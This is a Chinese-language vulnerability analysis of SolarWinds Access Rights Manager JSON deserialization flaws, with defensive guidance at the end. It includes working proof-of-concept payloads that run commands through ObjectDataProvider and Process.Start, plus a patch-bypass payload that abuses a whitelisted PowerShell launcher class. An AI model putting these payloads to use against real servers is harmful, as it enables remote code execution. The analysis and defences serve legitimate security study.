Solarwinds Access Rights Manager Json反序列化漏洞分析
字数 1407 2025-08-05 08:19:10
SolarWinds Access Rights Manager JSON反序列化漏洞分析教学文档
1. 漏洞概述
SolarWinds Access Rights Manager (ARM) 产品中存在多个JSON反序列化漏洞,攻击者可通过精心构造的恶意JSON数据实现远程代码执行(RCE)。这些漏洞主要源于Newtonsoft.Json库的不安全配置以及缺乏有效的类型检查机制。
2. 漏洞背景
- 受影响组件:ASP.NET Core 2.0应用程序
- 序列化库:Newtonsoft.Json
- 漏洞编号:
- CVE-2023-35184 (ExecuteAction漏洞点)
- CVE-2023-35180 (IFormTemplate漏洞点)
- CVE-2023-35186 (GetParameterFormTemplateWithSelectionState漏洞点)
- CVE-2024-23478 (JsonSerializationBinder补丁绕过)
3. 漏洞分析
3.1 漏洞点定位
漏洞主要存在于pn.WebApi8Man.Controllers.v1.AnalyzeActionController控制器中:
-
ExecuteAction方法 (CVE-2023-35184):
[HttpPost("{actionId}/Execute")] public ChangeResult ExecuteAction(Guid actionId, [FromBody] ExecuteActionParameter data) { IFormTemplate formTemplate = null; if (data.FormDataJson != null) { formTemplate = this.webApplication.FromJson(data.FormDataJson).ParseExpressions(); } // ... } -
GetParameterFormTemplateWithSelectionState方法 (CVE-2023-35186):
public SuccessResult GetParameterFormTemplateWithSelectionState(Guid actionId, [FromBody] string selectionState) { IFormTemplate parameterFormTemplate = this.webApplication.ActionService.GetParameterFormTemplate( base.Request.GetUserInfo(), actionId, this.webApplication.FromJson(selectionState)); // ... }
3.2 反序列化配置
漏洞根源在于pn.helper.JsonSerializer中的不安全配置:
this.serializationSettings = new JsonSerializerSettings
{
ReferenceLoopHandling = ReferenceLoopHandling.Ignore,
TypeNameHandling = TypeNameHandling.Auto, // 允许类型信息嵌入JSON
TypeNameAssemblyFormatHandling = TypeNameAssemblyFormatHandling.Simple,
NullValueHandling = NullValueHandling.Include,
DefaultValueHandling = DefaultValueHandling.Include
};
3.3 关键反序列化方法
public static T FromJson<T>(this WebApplication webApplication, string jsonString, bool withTypeNames = false)
{
jsonString = webApplication.TypeAliasInjectingJsonSerializer.ResolveTypeAliasInJson(jsonString);
T t = JsonConvert.DeserializeObject<T>(jsonString, new JsonSerializerSettings
{
TypeNameHandling = (withTypeNames ? TypeNameHandling.Objects : TypeNameHandling.None),
MissingMemberHandling = MissingMemberHandling.Ignore
});
// ...
}
4. 利用链分析
4.1 关键类结构
-
DefaultValueFormTemplateBase
抽象类: public abstract class DefaultValueFormTemplateBase<TValue> : DefaultLabelledCanBeDisabledFormTemplate, IHasValueFormTemplate<TValue>, IHasValueFormTemplate, IFormTemplate, IDescription { public virtual TValue Value { get; set; } } -
SearchFieldFormTemplate 实现类:
public class SearchFieldFormTemplate : DefaultValueFormTemplateBase<SimpleObject> -
SimpleObject 类:
public class SimpleObject { public object Value { get; set; } }
4.2 POC构造
{
"$type":"SearchFieldFormTemplate",
"ObjectType":null,
"Filters":null,
"Summary":"pn.formTemplates.SimpleObject",
"Value":{
"$type":"SimpleObject",
"DisplayName":null,
"Description":null,
"Path":null,
"Value":{
"$type":"System.Windows.Data.ObjectDataProvider, PresentationFramework",
"MethodName":"Start",
"MethodParameters":{
"$type":"System.Collections.ArrayList, mscorlib",
"$values":["cmd", "/c calc"]
},
"ObjectInstance":{
"$type":"System.Diagnostics.Process, System"
}
}
},
"DefaultValue":null,
"IsRequired":false,
"Description":null,
"CustomError":null,
"AllowApply":true,
"Label":null,
"IsEnabled":true,
"IsEnabledRule":null,
"ParsedIsEnabledRule":null,
"CustomAttributes":null,
"IsHidden":false,
"IsVisibleRule":null,
"ParsedIsVisibleRule":null
}
5. 补丁分析及绕过
5.1 初始补丁
补丁引入了JsonSerializationBinder类进行类型检查:
public sealed class JsonSerializationBinder : ISerializationBinder
{
public Type BindToType(string assemblyName, string typeName)
{
// 白名单检查
if ((this.isSupportedPnType(type) || (!type.IsSecurityCritical && !type.IsMarshalByRef))
&& (type.Assembly.GetName().Name.Equals(assemblyName, StringComparison.OrdinalIgnoreCase)
|| type.Assembly.GetName().FullName.Equals(assemblyName, StringComparison.OrdinalIgnoreCase)))
{
return type;
}
throw new NotSupportedException("Deserialization of type '" + typeName + "' is not supported.");
}
}
5.2 补丁绕过技术
方法一:白名单内恶意类利用
发现白名单内可利用的类:
pn.humster.OperatingSystemHelper::CreateTextFileSolarWinds.ARM.PowerShellTools.PowerShellLauncher::Run
示例POC:
{
"$type":"System.Windows.Data.ObjectDataProvider, PresentationFramework",
"MethodName":"Run",
"MethodParameters":{
"$type":"System.Collections.ArrayList, mscorlib",
"$values":["cmd.exe",{
"$type":"System.Collections.Generic.Dictionary`2[[System.String, mscorlib],[System.Object, mscorlib]], mscorlib",
"/c":"calc"
}]
},
"ObjectInstance":{
"$type":"SolarWinds.ARM.PowerShellTools.PowerShellLauncher, SolarWinds.ARM.PowerShellTools"
}
}
方法二:WindowsIdentity链利用(CVE-2024-23478)
利用WindowsIdentity类绕过检查:
Console.WriteLine(typeof(WindowsIdentity).IsSecurityCritical); // false
Console.WriteLine(typeof(WindowsIdentity).IsMarshalByRef); // false
6. JSON.NET反序列化防御措施
6.1 SerializationBinder防御
JsonSerializerSettings settings = new JsonSerializerSettings();
settings.Binder = new MyBinder();
class MyBinder : SerializationBinder
{
public override Type BindToType(string assemblyName, string typeName)
{
Type typeToDeserialize = Type.GetType($"{typeName}, {assemblyName}");
if (typeToDeserialize.Equals(typeof(ObjectDataProvider)))
{
throw new Exception("禁止反序列化危险类型");
}
return typeToDeserialize;
}
}
6.2 ISerializationBinder防御
settings.SerializationBinder = new ISerializationBinderImpl();
public class ISerializationBinderImpl : ISerializationBinder
{
public Type BindToType(string assemblyName, string typeName)
{
// 类型检查逻辑
}
public void BindToName(Type serializedType, out string assemblyName, out string typeName)
{
assemblyName = null;
typeName = serializedType.Name;
}
}
6.3 IContractResolver防御
settings.ContractResolver = new SecContractResolver();
public class SecContractResolver : IContractResolver
{
private static readonly ISet<string> BlackListSet = new HashSet<string>(StringComparer.OrdinalIgnoreCase)
{
"System.Windows.Data.ObjectDataProvider",
};
public JsonContract ResolveContract(Type type)
{
if (BlackListSet.Contains(type.FullName))
{
throw new SecurityException($"类型'{type}'不允许反序列化");
}
return new DefaultContractResolver().ResolveContract(type);
}
}
7. 最佳实践建议
- 禁用TypeNameHandling:除非绝对必要,否则应设置为
TypeNameHandling.None - 使用严格的白名单:实现自定义
ISerializationBinder并维护严格的白名单 - 更新到最新版本:使用最新版Newtonsoft.Json库
- 替代方案:考虑使用更安全的
System.Text.Json替代Newtonsoft.Json - 输入验证:对所有反序列化的输入进行严格验证
- 深度防御:结合多种防御措施(白名单+黑名单+类型检查)